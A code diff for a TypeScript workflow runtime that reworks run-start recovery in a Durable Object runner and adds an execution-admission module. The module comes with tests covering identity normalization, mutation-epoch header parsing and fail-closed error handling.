           if (
             !registered ||
-            registered.kind !== source.owner.kind ||
-            registered.id !== source.owner.id
+            registered.kind !== owner.kind ||
+            registered.id !== owner.id
           ) {
             throw new Error(
               `existing run '${runId}' has no matching committed owner`,
@@ -1542,113 +2013,76 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
           }
           throw new RunAlreadyExistsError(workflowId, runId, existing.status);
         }
-        const recovery: RunOwnerRecovery = {
-          version: 1,
+        let recovery: RunOwnerRecovery = {
+          version: 2,
+          phase: 'preparing',
           workflowId,
           runId,
           token: crypto.randomUUID(),
+          owner,
+          ...(startReservation ? { startReservation } : {}),
         };
-        await this.#armRunOwnerRecovery(recovery);
-        // From here to the finally below, this object IS the run's execution:
-        // everything past the journal either persists a snapshot or leaves the
-        // recovery pass to settle it. That window is exactly what a replaying
-        // start's liveness probe is asking about, and it is tracked in memory
-        // on purpose — an evicted isolate loses the entry, which is the true
-        // answer for a run that is no longer executing anywhere. Registered
-        // BEFORE the reservation and the runtime's own #activeRuns entry so the
-        // gap between the claim and core's first persisted snapshot — the one
-        // window where nothing else can see the run — is covered too.
-        this.#startsInFlight.add(this.#inFlightKey(workflowId, runId));
+        const frame: RunStartFrame = { token: recovery.token, unwound: false };
+        const frameKey = this.#inFlightKey(workflowId, runId);
+        this.#startsInFlight.set(frameKey, frame);
         try {
-          await this.#reserveRunOwner(runId, source.owner, recovery.token);
+          await this.#armRunOwnerRecovery(recovery);
+          await this.#reserveRunOwner(runId, owner, recovery.token);
           let summary: RunSummary;
           try {
             summary = await runtime.start(workflowId, {
               runId,
-              inputData: source.target
-                ? source.target.inputData
-                : body.inputData,
-              initialState: source.target
-                ? source.target.initialState
-                : body.initialState,
-              ...(source.target?.requestContext !== undefined
-                ? { storedRequestContext: source.target.requestContext }
+              inputData: resolvedInput,
+              initialState: resolvedState,
+              ...(storedRequestContext !== undefined
+                ? { storedRequestContext }
                 : {}),
               requestedBy: principal.id,
               requestedByKind: principal.kind,
               attemptToken: recovery.token,
+              ...(mutationEpoch === undefined ? {} : { mutationEpoch }),
+              startIdentity,
+              startReservation,
+              runOwnerGuard: { owner, reservationToken: recovery.token },
+              onPreparedStartIdentity: async (execution) => {
+                recovery = await this.#prepareRunOwner(recovery, execution);
+              },
               ...(idempotencyKey === undefined ? {} : { idempotencyKey }),
-              ...(body.deadlineMs === undefined
+              ...(deadlineMs === undefined
                 ? {}
-                : { deadlineMs: body.deadlineMs as number }),
+                : { deadlineMs: deadlineMs as number }),
             });
-          } catch (error) {
-            let persisted: RunSummary | null | undefined;
-            try {
-              persisted = await runtime.recoverStartAttempt(
-                workflowId,
-                runId,
-                recovery.token,
-              );
-            } catch (recoverError) {
-              // Logged, never swallowed silently: this read is the only thing
-              // that could tell an interrupted start apart from a failed one,
-              // and its own failure is the reason the journal is being left
-              // armed for the alarm to retry.
-              console.error(
-                'interrupted start could not read authoritative state',
-                recoverError,
-              );
-              await this.#rearmRunOwnerRecovery();
-              throw error;
-            }
-            if (persisted) {
-              const reconciled =
-                await this.#reconcileSuspensionDeadlinesBestEffort(
-                  workflowId,
-                  runId,
-                  persisted,
-                );
-              await this.#settleRunOwnerBestEffort(
-                recovery,
-                false,
-                !reconciled,
-              );
-              return json(persisted);
-            }
-            await this.#settleRunOwnerBestEffort(recovery, true);
-            throw error;
+          } finally {
+            frame.unwound = true;
           }
-          // Reconcile BEFORE settling, never after: settling clears the
-          // recovery journal, and clearing it re-arms from storage — which, on
-          // a run whose FIRST deadline write has not happened yet, finds no
-          // record and no journal and deletes the alarm. With the journal
-          // still stored the write's own arm takes the min of the two due
-          // times, so no interleaving leaves this object without a wake.
-          const reconciled = await this.#reconcileSuspensionDeadlinesBestEffort(
-            workflowId,
-            runId,
-            summary,
-          );
-          await this.#settleRunOwnerBestEffort(recovery, false, !reconciled);
-          // The authoritative RunSummary is the run-progress frame; push it
-          // to any subscribed run-channel socket at this lifecycle boundary.
+          summary = await this.#finishRunOwner(recovery, summary);
           this.#broadcastRunSummary(summary);
           return json(summary);
         } catch (error) {
-          const stored = await this.state?.storage?.get<unknown>(
-            RUN_OWNER_RECOVERY_KEY,
-          );
-          if (stored !== undefined) {
+          frame.unwound = true;
+          try {
+            const stored = await this.state?.storage?.get(
+              RUN_OWNER_RECOVERY_KEY,
+            );
+            if (stored !== undefined) {
+              const current = this.#runOwnerRecovery(stored);
+              if (!sameRunRecovery(current, recovery))
+                throw new Error('run owner recovery changed');
+              const recovered = await this.#recoverRunOwner(
+                current,
+                frame,
+                error,
+              );
+              if (recovered) return json(recovered);
+            }
+          } catch (recoveryError) {
+            console.error('interrupted start recovery failed', recoveryError);
             await this.#rearmRunOwnerRecovery();
           }
           throw error;
         } finally {
-          // Whatever happened, this object is no longer starting the run. The
-          // delete must be unconditional: an entry left behind would answer
-          // every later probe "live" for the lifetime of the isolate, turning a
-          // crashed start's honest UNRESOLVABLE into an endless PENDING.
-          this.#startsInFlight.delete(this.#inFlightKey(workflowId, runId));
+          if (this.#startsInFlight.get(frameKey) === frame)
+            this.#startsInFlight.delete(frameKey);
         }
       });
     }
@@ -1674,6 +2108,25 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
     ) {
       this.#assertRunIdentity(workflowId, runId);
       const runtime = this.#ensureRuntime();
+      if (new URL(request.url).searchParams.get('replay') === '1') {
+        const state = await runtime.authoritativeStartState(workflowId, runId);
+        if (!state) return json({ error: 'run not found' }, 404);
+        const identity = state.provenance.startIdentity;
+        if (
+          identity?.target.kind !== 'workflow' ||
+          identity.target.id !== workflowId
+        )
+          throw new RunStateUnreadableError(workflowId, runId);
+        const execution = normalizeStartExecutionIdentity({
+          ...state.execution,
+          ...identity,
+        });
+        return json(
+          state.kind === 'initial'
+            ? { kind: 'initial', execution }
+            : { kind: 'result', execution, value: state.summary },
+        );
+      }
       const summary = await runtime.status(workflowId, runId);
       if (!summary) return json({ error: 'run not found' }, 404);
       return json(summary);
@@ -1753,10 +2206,7 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
         // answers before it takes the per-run lock. A drain still admits
         // resumes — the suspended runs it is draining are waiting for exactly
         // these — and proof-only admits its one nominated run.
-        const resumeFence = await this.#readExecutionFence();
-        if (!admitsExistingRun(resumeFence, runId)) {
-          throw new ExecutionFencedError(resumeFence.state, 'run resume');
-        }
+        await runtime.assertExistingRunAllowed(workflowId, runId);
         const summary = await runtime.resume(workflowId, runId, {
           step: body.step,
           resumeData,
@@ -1784,7 +2234,7 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
       runId
     ) {
       this.#assertRunIdentity(workflowId, runId);
-      const principal = this.#trustedExecutionPrincipal(request);
+      const principal = this.#trustedExecutionPrincipal(encodedPrincipal);
       const runtime = this.#ensureRuntime();
       const preflightOwner = await this.runOwnership(this.env).owner(
         'run',
@@ -1841,7 +2291,7 @@ export abstract class DurableObjectRunner<TEnv = unknown> {
       runId
     ) {
       this.#assertRunIdentity(workflowId, runId);
-      const principal = this.#trustedExecutionPrincipal(request);
+      const principal = this.#trustedExecutionPrincipal(encodedPrincipal);
       const body = (await readJson<DeadlineBody>(request)) ?? {};
       const cas: RunLifecycleCas = {
         expectedRevision: body.expectedRevision as number,
diff --git a/packages/flowsafe/src/do-runner/execution-admission.test.ts b/packages/flowsafe/src/do-runner/execution-admission.test.ts
new file mode 100644
index 00000000..4e5bbe50
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/execution-admission.test.ts
@@ -0,0 +1,384 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it } from 'vitest';
+import { ExecutionFenceUnreadableError as HostUnreadableError } from '../host-kit/index.js';
+import { doErrorResponse } from './do-error-response.js';
+import {
+  assertMutationEpoch,
+  ExecutionFenceUnreadableError,
+  InvalidExecutionIdentityError,
+  InvalidMutationEpochError,
+  MUTATION_EPOCH_HEADER,
+  MutationEpochMismatchError,
+  mutationEpochFromHeader,
+  normalizeD1RunExecutionIdentity,
+  normalizeMutationEpoch,
+  normalizeRunExecutionIdentity,
+  normalizeStartExecutionIdentity,
+  normalizeStartIdentity,
+  RunAdmissionConflictError,
+  stampMutationEpoch,
+} from './execution-admission.js';
+import { ExecutionFenceUnreadableError as LegacyUnreadableError } from './execution-fence.js';
+import { ExecutionFenceUnreadableError as RunnerUnreadableError } from './index.js';
+
+const RUN = {
+  tablePrefix: 'Tenant_',
+  workflowId: 'child',
+  runId: 'run',
+  startToken: 'generation',
+};
+const START = {
+  owner: { kind: 'human', id: 'Principal with spaces' },
+  target: { kind: 'agent', id: 'agent', threadId: 'thread' },
+};
+
+describe('execution identity and epoch helpers', () => {
+  it('uses fixed admission conflict and inconsistent-input errors without identity values', () => {
+    for (const classification of [
+      'run-owner-changed',
+      'reservation-changed',
+      'run-exists',
+      'fence-changed',
+      'admission-raced',
+    ] as const) {
+      const error = new RunAdmissionConflictError(classification);
+      expect(error).toMatchObject({
+        status: 409,
+        message: 'initial run admission conflicts with current durable state',
+        reason: { code: 'RUN_ADMISSION_CONFLICT', classification },
+      });
+    }
+    expect(new InvalidExecutionIdentityError('admission')).toMatchObject({
+      status: 400,
+      message: 'initial admission identity is inconsistent',
+      reason: { code: 'INVALID_EXECUTION_IDENTITY' },
+    });
+  });
+  it('normalizes identity data without inventing a namespace or owner', () => {
+    expect(normalizeRunExecutionIdentity(RUN)).toEqual({
+      ...RUN,
+      tablePrefix: 'tenant_',
+    });
+    expect(
+      normalizeRunExecutionIdentity({ ...RUN, tablePrefix: null }).tablePrefix,
+    ).toBeNull();
+    expect(
+      normalizeD1RunExecutionIdentity({ ...RUN, tablePrefix: '' }).tablePrefix,
+    ).toBe('');
+    expect(
+      normalizeD1RunExecutionIdentity({ ...RUN, tablePrefix: 'A'.repeat(39) })
+        .tablePrefix,
+    ).toBe('a'.repeat(39));
+    expect(normalizeStartIdentity(START)).toEqual(START);
+    const workflow = {
+      owner: START.owner,
+      target: { kind: 'workflow', id: 'logical-parent' },
+    };
+    expect(normalizeStartExecutionIdentity({ ...RUN, ...workflow })).toEqual({
+      ...RUN,
+      tablePrefix: 'tenant_',
+      ...workflow,
+    });
+    for (const value of [undefined, null, [], 'identity', 1]) {
+      expect(() => normalizeRunExecutionIdentity(value)).toThrow(
+        InvalidExecutionIdentityError,
+      );
+      expect(() => normalizeStartIdentity(value)).toThrow(
+        InvalidExecutionIdentityError,
+      );
+    }
+    for (const tablePrefix of [
+      undefined,
+      0,
+      {},
+      'a'.repeat(40),
+      'invalid-prefix',
+    ]) {
+      expect(() =>
+        normalizeRunExecutionIdentity({ ...RUN, tablePrefix }),
+      ).toThrow(InvalidExecutionIdentityError);
+    }
+    expect(() =>
+      normalizeD1RunExecutionIdentity({ ...RUN, tablePrefix: null }),
+    ).toThrow(InvalidExecutionIdentityError);
+    for (const field of ['workflowId', 'runId', 'startToken']) {
+      for (const value of [
+        '',
+        '.',
+        '..',
+        'bad/path',
+        'with space',
+        4,
+        null,
+        'a'.repeat(201),
+      ]) {
+        expect(() =>
+          normalizeRunExecutionIdentity({ ...RUN, [field]: value }),
+        ).toThrow(InvalidExecutionIdentityError);
+      }
+    }
+    for (const owner of [
+      null,
+      [],
+      {},
+      { kind: 'unknown', id: 'owner' },
+      { kind: 'human', id: '  ' },
+      { kind: 'human', id: 'control\ntext' },
+    ]) {
+      expect(() => normalizeStartIdentity({ ...START, owner })).toThrow(
+        InvalidExecutionIdentityError,
+      );
+    }
+    for (const target of [
+      null,
+      [],
+      {},
+      { kind: 'other', id: 'target' },
+      { kind: 'workflow', id: 'bad/path' },
+      { kind: 'agent', id: 'agent' },
+      { kind: 'agent', id: 'agent', threadId: null },
+      { kind: 'workflow', id: 'workflow', threadId: 'thread' },
+    ]) {
+      expect(() => normalizeStartIdentity({ ...START, target })).toThrow(
+        InvalidExecutionIdentityError,
+      );
+    }
+  });
+
+  it('captures identity and epoch fields once without freezing caller objects', () => {
+    const counts = new Map<string, number>();
+    const getters = (values: Record<string, unknown>, prefix = '') =>
+      Object.defineProperties(
+        {},
+        Object.fromEntries(
+          Object.entries(values).map(([key, value]) => [
+            key,
+            {
+              enumerable: true,
+              get() {
+                const name = `${prefix}${key}`;
+                const count = (counts.get(name) ?? 0) + 1;
+                counts.set(name, count);
+                return count === 1 ? value : 'changed';
+              },
+            },
+          ]),
+        ),
+      );
+    const owner = getters(START.owner, 'owner.');
+    const target = getters(START.target, 'target.');
+    const input = getters({ ...RUN, owner, target });
+    const normalized = normalizeStartExecutionIdentity(input);
+    expect(normalized).toEqual({ ...RUN, tablePrefix: 'tenant_', ...START });
+    expect([...counts.values()].every((count) => count === 1)).toBe(true);
+    expect(Object.isFrozen(normalized)).toBe(true);
+    expect(Object.isFrozen(normalized.owner)).toBe(true);
+    expect(Object.isFrozen(normalized.target)).toBe(true);
+    expect(Object.isFrozen(input)).toBe(false);
+    expect(Object.isFrozen(owner)).toBe(false);
+    const mutable = {
+      ...RUN,
+      owner: { ...START.owner },
+      target: { ...START.target },
+    };
+    const copy = normalizeStartExecutionIdentity(mutable);
+    mutable.owner.id = 'other';
+    mutable.target.id = 'other';
+    mutable.startToken = 'other';
+    expect(copy).toEqual(normalized);
+    let epochReads = 0;
+    let requirementReads = 0;
+    assertMutationEpoch(
+      {
+        get mutationEpoch() {
+          epochReads += 1;
+          return epochReads === 1 ? 1 : 2;
+        },
+        get requireMutationEpoch() {
+          requirementReads += 1;
+          return true;
+        },
+      },
+      1,
+    );
+    expect([epochReads, requirementReads]).toEqual([1, 1]);
+    for (const invalid of ['private/path/token', 'sensitive owner\nvalue']) {
+      try {
+        normalizeStartExecutionIdentity({
+          ...RUN,
+          ...START,
+          startToken: invalid,
+        });
+        expect.fail('invalid token was accepted');
+      } catch (error) {
+        expect(error).toBeInstanceOf(InvalidExecutionIdentityError);
+        expect((error as Error).message).not.toContain(invalid);
+        expect((error as InvalidExecutionIdentityError).reason).toEqual({
+          code: 'INVALID_EXECUTION_IDENTITY',
+        });
+      }
+    }
+  });
+
+  it('validates caller epochs and fails malformed readings closed', () => {
+    expect(normalizeMutationEpoch(undefined)).toBeUndefined();
+    expect(Object.is(normalizeMutationEpoch(-0), 0)).toBe(true);
+    for (const value of [0, 1, Number.MAX_SAFE_INTEGER]) {
+      expect(normalizeMutationEpoch(value)).toBe(value);
+      expect(() =>
+        assertMutationEpoch(
+          { mutationEpoch: 0, requireMutationEpoch: false },
+          value,
+        ),
+      ).not.toThrow();
+    }
+    for (const value of [
+      null,
+      false,
+      '0',
+      -1,
+      0.5,
+      Number.NaN,
+      Number.POSITIVE_INFINITY,
+      Number.MAX_SAFE_INTEGER + 1,
+    ]) {
+      expect(() => normalizeMutationEpoch(value)).toThrow(
+        InvalidMutationEpochError,
+      );
+    }
+    expect(() =>
+      assertMutationEpoch({ mutationEpoch: 1, requireMutationEpoch: true }, 1),
+    ).not.toThrow();
+    for (const [value, classification] of [
+      [undefined, 'missing'],
+      [0, 'stale'],
+      [2, 'future'],
+    ] as const) {
+      try {
+        assertMutationEpoch(
+          { mutationEpoch: 1, requireMutationEpoch: true },
+          value,
+        );
+        expect.fail('mismatch was accepted');
+      } catch (error) {
+        expect(error).toBeInstanceOf(MutationEpochMismatchError);
+        expect((error as MutationEpochMismatchError).status).toBe(409);
+        expect((error as MutationEpochMismatchError).reason).toEqual({
+          code: 'MUTATION_EPOCH_MISMATCH',
+          classification,
+          mutationEpoch: 1,
+        });
+      }
+    }
+    for (const reading of [
+      null,
+      [],
+      {},
+      { mutationEpoch: '0', requireMutationEpoch: false },
+      { mutationEpoch: -1, requireMutationEpoch: false },
+      { mutationEpoch: 0.1, requireMutationEpoch: true },
+      { mutationEpoch: 0, requireMutationEpoch: 0 },
+      { mutationEpoch: 0, requireMutationEpoch: true },
+      { mutationEpoch: 1, requireMutationEpoch: false },
+    ]) {
+      expect(() => assertMutationEpoch(reading as never, 0)).toThrow(
+        ExecutionFenceUnreadableError,
+      );
+    }
+  });
+
+  it('round-trips only canonical mutation epoch headers', () => {
+    expect(mutationEpochFromHeader(null)).toBeUndefined();
+    for (const value of [0, 1, Number.MAX_SAFE_INTEGER]) {
+      const headers = new Headers({ 'X-Flowsafe-Mutation-Epoch': 'forged' });
+      stampMutationEpoch(headers, value);
+      expect(headers.get(MUTATION_EPOCH_HEADER)).toBe(String(value));
+      expect(mutationEpochFromHeader(headers.get(MUTATION_EPOCH_HEADER))).toBe(
+        value,
+      );
+      stampMutationEpoch(headers, undefined);
+      expect(headers.has(MUTATION_EPOCH_HEADER)).toBe(false);
+    }
+    for (const value of [
+      '',
+      ' 0',
+      '0 ',
+      '1\n',
+      '1\r\n',
+      '+1',
+      '-0',
+      '01',
+      '1.0',
+      '1e0',
+      '1, 2',
+      '9007199254740992',
+      '1'.repeat(17),
+    ]) {
+      expect(() => mutationEpochFromHeader(value)).toThrow(
+        InvalidMutationEpochError,
+      );
+    }
+    const headers = new Headers({ [MUTATION_EPOCH_HEADER]: '1' });
+    headers.append('X-Flowsafe-Mutation-Epoch', '2');
+    expect(() =>
+      mutationEpochFromHeader(headers.get(MUTATION_EPOCH_HEADER)),
+    ).toThrow(InvalidMutationEpochError);
+    const before = [...headers];
+    expect(() => stampMutationEpoch(headers, 'private' as never)).toThrow(
+      InvalidMutationEpochError,
+    );
+    expect([...headers]).toEqual(before);
+  });
+
+  it('preserves the unreadable error constructor across old and new imports', async () => {
+    expect(ExecutionFenceUnreadableError).toBe(LegacyUnreadableError);
+    expect(ExecutionFenceUnreadableError).toBe(RunnerUnreadableError);
+    expect(ExecutionFenceUnreadableError).toBe(HostUnreadableError);
+    const cause = new Error('underlying failure');
+    const error = new ExecutionFenceUnreadableError('unreadable', { cause });
+    expect(error).toBeInstanceOf(LegacyUnreadableError);
+    expect(error.name).toBe('ExecutionFenceUnreadableError');
+    expect(error.message).toBe('unreadable');
+    expect(error.cause).toBe(cause);
+    const response = doErrorResponse(error);
+    expect(response.status).toBe(503);
+    expect(await response.json()).toEqual({
+      error: 'unreadable',
+      reason: { code: 'EXECUTION_FENCE_UNREADABLE' },
+    });
+  });
+});
+
+describe('FS8 D3 Runtime activation', () => {
+  it('recognizes pending structurally and safely without granting generic HTTP errors authority', async () => {
+    const { RunStartPendingError, isRunStartPendingError } = await import(
+      './execution-admission.js'
+    );
+    const pending = new RunStartPendingError();
+    expect(pending).toMatchObject({
+      status: 503,
+      reason: { code: 'RUN_START_PENDING' },
+      name: 'RunStartPendingError',
+      message: 'run start has no durable execution outcome',
+    });
+    expect(isRunStartPendingError(JSON.parse(JSON.stringify(pending)))).toBe(
+      true,
+    );
+    for (const value of [
+      null,
+      undefined,
+      {},
+      503,
+      { status: 503 },
+      { status: 409, reason: { code: 'RUN_START_PENDING' } },
+      { status: 503, reason: null },
+      {
+        get status() {
+          throw new Error('getter');
+        },
+      },
+    ])
+      expect(isRunStartPendingError(value)).toBe(false);
+  });
+});
diff --git a/packages/flowsafe/src/do-runner/execution-admission.ts b/packages/flowsafe/src/do-runner/execution-admission.ts
new file mode 100644
index 00000000..331b1716
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/execution-admission.ts
@@ -0,0 +1,327 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  type ExecutionPrincipalKind,
+  isExecutionPrincipalId,
+  isExecutionPrincipalKind,
+} from '../approval-api/principal-identity.js';
+import { DoStatusError } from './do-status-error.js';
+import { isPathSafeId } from './path-safe-id.js';
+import { validateTablePrefix } from './table-prefix.js';
+
+export class RunStartPendingError extends DoStatusError {
+  readonly status = 503;
+  readonly reason = { code: 'RUN_START_PENDING' } as const;
+  constructor() {
+    super('run start has no durable execution outcome');
+    this.name = 'RunStartPendingError';
+  }
+}
+
+export function isRunStartPendingError(error: unknown): boolean {
+  try {
+    if (error === null || typeof error !== 'object') return false;
+    const candidate = error as {
+      status?: unknown;
+      reason?: { code?: unknown };
+    };
+    return (
+      candidate.status === 503 && candidate.reason?.code === 'RUN_START_PENDING'
+    );
+  } catch {
+    return false;
+  }
+}
+
+export interface MutationEpochContext {
+  readonly mutationEpoch?: number;
+}
+
+export interface ProofEntryExpectation {
+  readonly key: string;
+  readonly mutationEpoch: number;
+  readonly transitionRevision: number;
+}
+
+export type RunAdmissionConflictClassification =
+  | 'run-owner-changed'
+  | 'reservation-changed'
+  | 'run-exists'
+  | 'fence-changed'
+  | 'admission-raced';
+
+export class RunAdmissionConflictError extends DoStatusError {
+  readonly status = 409;
+  readonly reason: {
+    readonly code: 'RUN_ADMISSION_CONFLICT';
+    readonly classification: RunAdmissionConflictClassification;
+  };
+
+  constructor(classification: RunAdmissionConflictClassification) {
+    super('initial run admission conflicts with current durable state');
+    this.name = 'RunAdmissionConflictError';
+    this.reason = { code: 'RUN_ADMISSION_CONFLICT', classification };
+  }
+}
+
+/** Identity data; null explicitly makes no D1 namespace assertion. */
+export interface RunExecutionIdentity {
+  readonly tablePrefix: string | null;
+  readonly workflowId: string;
+  readonly runId: string;
+  readonly startToken: string;
+}
+
+export interface D1RunExecutionIdentity extends RunExecutionIdentity {
+  readonly tablePrefix: string;
+}
+
+export interface StartIdentity {
+  readonly owner: {
+    readonly kind: ExecutionPrincipalKind;
+    readonly id: string;
+  };
+  readonly target:
+    | { readonly kind: 'workflow'; readonly id: string }
+    | {
+        readonly kind: 'agent';
+        readonly id: string;
+        readonly threadId: string;
+      };
+}
+
+export interface StartExecutionIdentity
+  extends RunExecutionIdentity,
+    StartIdentity {}
+export interface D1StartExecutionIdentity
+  extends D1RunExecutionIdentity,
+    StartIdentity {}
+
+const IDENTITY_ERRORS = {
+  admission: 'initial admission identity is inconsistent',
+  identity: 'execution identity must be an object',
+  tablePrefix: 'tablePrefix is not valid for this execution identity',
+  workflowId: 'workflowId must be a URL-path-safe identifier',
+  runId: 'runId must be a URL-path-safe identifier',
+  startToken: 'startToken must be a URL-path-safe identifier',
+  owner: 'owner must be an execution principal object',
+  'owner.kind': 'owner.kind must be an execution principal kind',
+  'owner.id': 'owner.id must be a valid execution principal identifier',
+  target: 'target must be an object',
+  'target.kind': 'target.kind must be workflow or agent',
+  'target.id': 'target.id must be a URL-path-safe identifier',
+  'target.threadId':
+    'target.threadId is required only for an agent target and must be URL-path-safe',
+} as const;
+
+export class InvalidExecutionIdentityError extends DoStatusError {
+  readonly status = 400;
+  readonly reason = { code: 'INVALID_EXECUTION_IDENTITY' } as const;
+
+  constructor(field: keyof typeof IDENTITY_ERRORS) {
+    super(
+      Object.hasOwn(IDENTITY_ERRORS, field)
+        ? IDENTITY_ERRORS[field]
+        : 'execution identity is malformed',
+    );
+    this.name = 'InvalidExecutionIdentityError';
+  }
+}
+
+export class InvalidMutationEpochError extends DoStatusError {
+  readonly status = 400;
+  readonly reason = { code: 'INVALID_MUTATION_EPOCH' } as const;
+
+  constructor() {
+    super('mutationEpoch must be a nonnegative safe integer or undefined');
+    this.name = 'InvalidMutationEpochError';
+  }
+}
+
+export class MutationEpochMismatchError extends DoStatusError {
+  readonly status = 409;
+  readonly reason: {
+    readonly code: 'MUTATION_EPOCH_MISMATCH';
+    readonly classification: 'missing' | 'stale' | 'future';
+    readonly mutationEpoch: number;
+  };
+
+  constructor(
+    classification: 'missing' | 'stale' | 'future',
+    mutationEpoch: number,
+  ) {
+    super('mutation epoch does not match the active deployment');
+    this.name = 'MutationEpochMismatchError';
+    this.reason = {
+      code: 'MUTATION_EPOCH_MISMATCH',
+      classification,
+      mutationEpoch,
+    };
+  }
+}
+
+export class ExecutionFenceUnreadableError extends DoStatusError {
+  readonly status = 503;
+  readonly reason: { readonly code: 'EXECUTION_FENCE_UNREADABLE' };
+
+  constructor(message: string, options?: ErrorOptions) {
+    super(message, options);
+    this.name = 'ExecutionFenceUnreadableError';
+    this.reason = { code: 'EXECUTION_FENCE_UNREADABLE' };
+  }
+}
+
+function identityObject(
+  value: unknown,
+  field: 'identity' | 'owner' | 'target',
+): Record<string, unknown> {
+  if (value === null || typeof value !== 'object' || Array.isArray(value)) {
+    throw new InvalidExecutionIdentityError(field);
+  }
+  return value as Record<string, unknown>;
+}
+
+export function normalizeRunExecutionIdentity(
+  value: unknown,
+): RunExecutionIdentity {
+  const { tablePrefix, workflowId, runId, startToken } = identityObject(
+    value,
+    'identity',
+  );
+  if (tablePrefix !== null && typeof tablePrefix !== 'string') {
+    throw new InvalidExecutionIdentityError('tablePrefix');
+  }
+  if (tablePrefix !== null) {
+    try {
+      validateTablePrefix(tablePrefix);
+    } catch {
+      throw new InvalidExecutionIdentityError('tablePrefix');
+    }
+  }
+  if (!isPathSafeId(workflowId))
+    throw new InvalidExecutionIdentityError('workflowId');
+  if (!isPathSafeId(runId)) throw new InvalidExecutionIdentityError('runId');
+  if (!isPathSafeId(startToken))
+    throw new InvalidExecutionIdentityError('startToken');
+  return Object.freeze({
+    tablePrefix: tablePrefix?.toLowerCase() ?? null,
+    workflowId,
+    runId,
+    startToken,
+  });
+}
+
+export function normalizeD1RunExecutionIdentity(
+  value: unknown,
+): D1RunExecutionIdentity {
+  const identity = normalizeRunExecutionIdentity(value);
+  if (identity.tablePrefix === null)
+    throw new InvalidExecutionIdentityError('tablePrefix');
+  return Object.freeze({ ...identity, tablePrefix: identity.tablePrefix });
+}
+
+export function normalizeStartIdentity(value: unknown): StartIdentity {
+  const { owner: rawOwner, target: rawTarget } = identityObject(
+    value,
+    'identity',
+  );
+  const { kind: ownerKind, id: ownerId } = identityObject(rawOwner, 'owner');
+  const { kind, id, threadId } = identityObject(rawTarget, 'target');
+  if (!isExecutionPrincipalKind(ownerKind))
+    throw new InvalidExecutionIdentityError('owner.kind');
+  if (!isExecutionPrincipalId(ownerId))
+    throw new InvalidExecutionIdentityError('owner.id');
+  if (kind !== 'workflow' && kind !== 'agent')
+    throw new InvalidExecutionIdentityError('target.kind');
+  if (!isPathSafeId(id)) throw new InvalidExecutionIdentityError('target.id');
+  const owner = Object.freeze({ kind: ownerKind, id: ownerId });
+  if (kind === 'agent') {
+    if (!isPathSafeId(threadId))
+      throw new InvalidExecutionIdentityError('target.threadId');
+    return Object.freeze({
+      owner,
+      target: Object.freeze({ kind, id, threadId }),
+    });
+  }
+  if (threadId !== undefined)
+    throw new InvalidExecutionIdentityError('target.threadId');
+  return Object.freeze({ owner, target: Object.freeze({ kind, id }) });
+}
+
+export function normalizeStartExecutionIdentity(
+  value: unknown,
+): StartExecutionIdentity {
+  return Object.freeze({
+    ...normalizeRunExecutionIdentity(value),
+    ...normalizeStartIdentity(value),
+  });
+}
+
+export function normalizeMutationEpoch(value: unknown): number | undefined {
+  if (value === undefined) return undefined;
+  if (typeof value !== 'number' || !Number.isSafeInteger(value) || value < 0) {
+    throw new InvalidMutationEpochError();
+  }
+  return value === 0 ? 0 : value;
+}
+
+export function assertMutationEpoch(
+  reading: {
+    readonly mutationEpoch: number;
+    readonly requireMutationEpoch: boolean;
+  },
+  mutationEpoch: number | undefined,
+): void {
+  const supplied = normalizeMutationEpoch(mutationEpoch);
+  const candidate =
+    reading !== null && typeof reading === 'object' && !Array.isArray(reading)
+      ? reading
+      : undefined;
+  const current = candidate?.mutationEpoch;
+  const required = candidate?.requireMutationEpoch;
+  if (
+    typeof current !== 'number' ||
+    !Number.isSafeInteger(current) ||
+    current < 0 ||
+    typeof required !== 'boolean' ||
+    required !== current > 0
+  ) {
+    throw new ExecutionFenceUnreadableError(
+      'execution fence mutation metadata is not readable',
+    );
+  }
+  if (!required || supplied === current) return;
+  throw new MutationEpochMismatchError(
+    supplied === undefined
+      ? 'missing'
+      : supplied < current
+        ? 'stale'
+        : 'future',
+    current,
+  );
+}
+
+export const MUTATION_EPOCH_HEADER = 'x-flowsafe-mutation-epoch';
+
+export function mutationEpochFromHeader(
+  value: string | null,
+): number | undefined {
+  if (value === null) return undefined;
+  if (
+    typeof value !== 'string' ||
+    value.length > 16 ||
+    !/^(?:0|[1-9][0-9]*)$/.test(value)
+  ) {
+    throw new InvalidMutationEpochError();
+  }
+  return normalizeMutationEpoch(Number(value));
+}
+
+export function stampMutationEpoch(
+  headers: Headers,
+  epoch: number | undefined,
+): void {
+  const value = normalizeMutationEpoch(epoch);
+  if (value === undefined) headers.delete(MUTATION_EPOCH_HEADER);
+  else headers.set(MUTATION_EPOCH_HEADER, String(value));
+}
diff --git a/packages/flowsafe/src/do-runner/execution-context.test.ts b/packages/flowsafe/src/do-runner/execution-context.test.ts
index 72a550f0..3cdbc96a 100644
--- a/packages/flowsafe/src/do-runner/execution-context.test.ts
+++ b/packages/flowsafe/src/do-runner/execution-context.test.ts
@@ -38,3 +38,17 @@ describe('execution-context trust boundary', () => {
     expect(Object.hasOwn(safe, '__proto__')).toBe(false);
   });
 });
+
+describe('FS8 D3 protected replay stored authority boundary', () => {
+  it('strips a top-level original-claim lookalike while preserving application payloads', () => {
+    const payload = { startReservation: { key: 'application-key' } };
+    const context = {
+      startReservation: { key: 'authority-key', binding: { kind: 'unbound' } },
+      payload,
+    };
+    expect(stripReservedExecutionContext(context)).toEqual({ payload });
+    expect(() => assertNoReservedExecutionContext(context)).toThrow(
+      ReservedExecutionContextError,
+    );
+  });
+});
diff --git a/packages/flowsafe/src/do-runner/execution-context.ts b/packages/flowsafe/src/do-runner/execution-context.ts
index 02c808d7..08ec7ef1 100644
--- a/packages/flowsafe/src/do-runner/execution-context.ts
+++ b/packages/flowsafe/src/do-runner/execution-context.ts
@@ -29,6 +29,7 @@ export const RESERVED_EXECUTION_CONTEXT_KEYS: readonly string[] = [
   GOAL_REQUEST_CONTEXT_KEY,
   RUN_PROVENANCE_CONTEXT_KEY,
   RUN_LIFECYCLE_CONTEXT_KEY,
+  'startReservation',
   'runId',
   'threadId',
   'resourceId',
